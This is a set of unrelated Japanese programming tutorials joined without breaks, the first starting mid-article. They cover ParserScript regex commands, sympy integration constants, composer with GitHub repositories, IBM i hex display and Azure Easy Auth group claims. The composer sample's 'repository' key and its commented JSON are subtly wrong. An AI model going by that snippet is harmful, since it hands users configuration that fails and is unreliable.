CSREGEX MATCH "((-)?[0-9]+(\.[0-9]+)?)"
```
　これは見ての通りパースする文字列の先頭からマッチングを行います。
### CSREGEX ISMATCHコマンド
　例:　以下のコードは、パースする文字列の先頭がaまたはbの時、「OK」と出力するコードです。
```prs
CSREGEX ISMATCH "(a|b)"
    STRING
    PUSH "... OK."
END
```
　これも見ての通り、パースする文字列の先頭がISMATCHの正規表現にマッチしたらそのままコードを実行し、マッチしなかったら対応するENDに飛びます。
### CSREGEX ISNOMATCH
　名前の通りISMATCHの逆です。
# ISSTART?, ISNOSTART?コマンド
　例:　以下のコードはパースする文字列の先頭がaなら「OK」、それ以外なら、「aではない」と出力するコードです。
```prs
PUSH "\""
ISSTART? "a"
    STRING
    PUSH "\""
    PUSH " is OK."
END
ISNOSTART? ""
    STRING
    PUSH "\""
    PUSH " isn't \"a\""
END
```
　これも見ての通りですね。え、ISNOSTART?の文字列は"a"じゃないのかって?
　いえいえ、これが正しいのです。説明しましょう。
　まず、ISNOSTART?の時に残る文字列は"(a以外の文字)..."か、""かです。ISSTART?にマッチしなかったら文字列を喰わずに、マッチしたら全て喰うからです。ここでISSTART?では喰えなかった文字列を喰うために、""にして"(a以外の文字)..."を喰うようにします。だから`ISNOSTART? ""`と書くのです。
# その他追加された機能
### コマンドの解釈
　ParserScriptは以前まで
```prs
MATCH " "
```
や
```prs
PUSH " "
```
などと書くと
```plaintext
MATCH, ", "
PUSH, ", "
```
と解釈されていました。
しかし、以下のC#のコード
```cs
internal static class Converter
{
    public static string[] Split2(this string s, string split) => [.. Regex.Split(s.EndsWith(split) ? s : s + split, @$"("".*""{split}|[^{split[0]}]*{split})").Where(x => x != "").Select(x => string.Join("", x.SkipLast(split.Length)))];
}
```
のSplit2メソッドを使って先のParserScriptのコードを
```prs
MATCH, " "
PUSH, " "
```
と解釈するようになりました。
### エスケープ文字対応
　ParserScriptは以前までエスケープ文字をReplaceメソッドで書き換えていたのですが、それだとReplaceメソッドの置く場所を変えたら、例えば`"\\n"`を\と改行文字が並んだものや\とnが並んだものと解釈されます。実際、バージョン2.0までは`"\\n"`を\と改行文字が並んだものと解釈していました。この問題をバージョン3.0では先ほどのConverterクラスに
 ```cs
 public static string Replace(this string s) => string.Join("", Replace().Replace(string.Join("", s[(int.TryParse("0", out int i) ? 0 : 0)..]), "$1").Aggregate(Array.Empty<string>(), (x, y) => [.. x.Append(s[i].ToString() is "\\" ? s[i++].ToString() + s[i++].ToString() : s[i++].ToString())]).Select(x => x is "\\n" ? "\n" : (x is "\\t" ? "\t" : (x is "\\s" ? " " : (x is "\\\\" ? "\\" : (x is "\\\"" ? "\"" : x))))));

 [GeneratedRegex(@"(\\).")]
 private static partial Regex Replace();
 ```
を追加することで解決しました。これは
 ```plaintext
 a\\nb\\sc\\td\\\\e\\"f（エスケープで\を表した時）
 ```
を
 ```plaintext
 a, \\n, b, \\s, c, \\t, d, \\\\, e, \\", f
 ```
と解釈し、
 ```plaintext
 a, \n, b, \s, c, \t, d, \\, e, \", f
 ```
に変換した後、連結して
 ```plaintext
a\nb\sc\td\\e\"f
 ```
にします。
結果は
```plaintext
a
b c    d\e"f
```
になります。
# 終わりに
　ParserScriptはバージョン3.0になってC#の正規表現を使えるようになり、一応あの長いコードを短くできますが条件分岐やブロックの終わりを示すENDとLASTの数が条件分岐のコマンドとASTの数と違っても許されるので、それを許さないものをバージョン3.1に実装しようと思います。
ChatGPT-3.5先生へ「sympyの積分で積分定数を表示する方法を教えて下さい。」

**パイソニスタの方へ**
＞積分定数𝐶を含みません。
・n階積分の時は、n個 関数が必要ですか？いい方法を教えて下さい。

# ChatGPT-3.5先生へ
***●user***
~~sympyの積分で積分定数を表示する方法を教えて下さい。~~
```
sympy の　積分で積分定数　表示
```
```
自動的になりますか
```
***ChatGPT-3.5***

```
はい、SymPyの標準の integrate() 関数はデフォルトでは積分定数 
𝐶を含みません。したがって、積分定数を自動的に追加したい場合には、前述のようなラップ関数を作成する必要があります。
... 
```
・最終行は、私が追加編集しました。 

```python
from sympy import symbols, integrate

def integrate_with_constant(expression, variable):
    C = symbols('C')  # 積分定数 C を定義
    return integrate(expression, variable) + C

x = symbols('x')
f = x**2

# 自動的に積分定数を含む積分結果を取得
result = integrate_with_constant(f, x)

# print(result)

print("#",result)
# C + x**3/3
```
# 自作は、よろしくない。
```python
# ver 0.1  
from sympy import *
var('E,I,P,l',positive=True)
var('R,x'    ,positive=True)
C1 = symbols('C1') 
C2 = symbols('C2') 
def integrate_with_constant_C2(expression, variable):
    return integrate(expression, variable) + C2
def integrate_with_constant_C1(expression, variable):
    return integrate(expression, variable) + C1
def myTawami_KatamotiHari(E,I,myP,myl):
    w=integrate_with_constant_C2(integrate_with_constant_C1((l-x)*myP,x),x)
    sol=solve([Eq(     w   .subs({x:0}),0),
               Eq(diff(w,x).subs({x:0}),0)
          ],[C1,C2])
    return w.subs({C1:sol[C1],C2:sol[C2]})/(E*I)
print("#",myTawami_KatamotiHari(E,I,P,l))
print("#",myTawami_KatamotiHari(E,I,P,l).subs({x:l}))
# (P*l*x**2/2 - P*x**3/6)/(E*I)
# P*l**3/(3*E*I)
```

# doc

https://docs.sympy.org/latest/modules/integrals/integrals.html
Composer.phar で GitHub の Repository を require したい

# やりたいこと
以下のように GitHub の Repository を composer で使いたい
```bash
./composer.phar r github/repository
```

# どうすれば
`composer.json` を編集すればいけた
```composer.json
{
  ...
  "repository": [
    // ここから
    {
      "type": "git",
      "url": "git@github.com:github/repository.git"
    }
    // ここまでを追加
  ],
  ...
}
```

:::note info
編集後、実行時に Token を求められたら GitHub の Developer Settings から Generate Token しましょう
:::


# 参考
https://qiita.com/mokemokechicken/items/d3a3944bfa999c2582b7

コマンドでのやり方もある↓

https://qiita.com/gcchaan/items/4b0264997f46fc68ffc4
文字の16進数を確認する方法

## はじめに

[IBM iで正規表現（２）【バックスラッシュを使用したい場合】](https://qiita.com/tamaday/items/cef58b4ae601224b9e68)で紹介したように、「X」を使用することで、文字を16進数で表現することができます。

しかし、使用したい文字を16進数で表現する際に、都度別途ツールなどを使って調べることは面倒に感じるかもしれません。

そこで今回は、IBM i上で文字の16進数を確認する方法をご紹介します。

## コマンド

`DSPPFM`（物理ファイル・メンバー表示）

> 物理ファイル・メンバー表示(DSPPFM)コマンドは物理データベース・ファイル・メンバーを表示します。 ファイルがキー順アクセス・パスであっても，レコードは到着順に表示されます。 ファイルを通覧したり，レコード番号によって特定のレコードを見つけたり，レコード内の開始位置を指定したりすることができます。 また，レコードの文字表示または16進表示を選択することもできます。

## 16進数を確認する方法

`DSPPFM`コマンドを使用して、16進数を確認したい文字が書かれているファイル・メンバーを表示します。（画像１）

（画像１）
![checkHexadecimalCharacter_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2962887/90ae647d-1d8d-e24a-8ba4-f2d076118d36.png)

次に「F10=16進表示」をクリックします。（「F24=キーの続き」をクリックすると表示されます）
そうすると、（画像２）のように、文字が16進数で表示されるようになります。
文字列は「ＩＬＥＲＰＧ　Ａｄｖｅｎｔ　Ｃａｌｅｎｄａｒ　２０２４」です。

（画像２）
![checkHexadecimalCharacter_02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2962887/a19c04c5-75d9-1176-1acc-8f639c5eb0be.png)

ご参考になれば幸いです。最後までお読み頂きありがとうございます。
Azure App Service の Easy Auth で認証済みユーザーのセキュリティグループ情報を取得してみた

例えば Web アプリケーションで、認証済みユーザーに関連する何かしらの情報を用いて、管理者ユーザーなのか一般ユーザーなのかを判別し使用するメニューや機能を出し分けたいとします。大抵の場合は、データベース内にユーザー情報を管理するテーブルを用意して利用するのですが、Azure App Service の場合は、Easy Auth という組み込みの認証方法があり、設定によって認証済みユーザーのセキュリティグループ情報が取得できるため、これを利用する設計にすればデータベースに情報をもっておく必要がありません。という事で、実際に試してみました。

## Easy Auth 設定画面から Entra ID アプリケーションに移動

![appservice-easyauth-securitygroup-00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675885/eedf010a-1783-c81a-24a8-63269d1ec86e.png)

## Microsoft Graph アプリ マニフェストを編集

`groupMembershipClaims` の `null` を `SecurityGroup` に変更します。

![appservice-easyauth-securitygroup-01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675885/e60d8dbc-3e10-e168-8149-c648c05b096d.png)

## Web アプリケーションの認証後 /.auth/me でセキュリティグループの Object ID を確認

![appservice-easyauth-securitygroup-02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675885/df93a81b-f08d-91e9-ed10-67ed39b09666.png)

## 参考

https://learn.microsoft.com/ja-jp/entra/identity/hybrid/connect/how-to-connect-fed-group-claims#configure-the-microsoft-entra-application-registration-for-group-attributes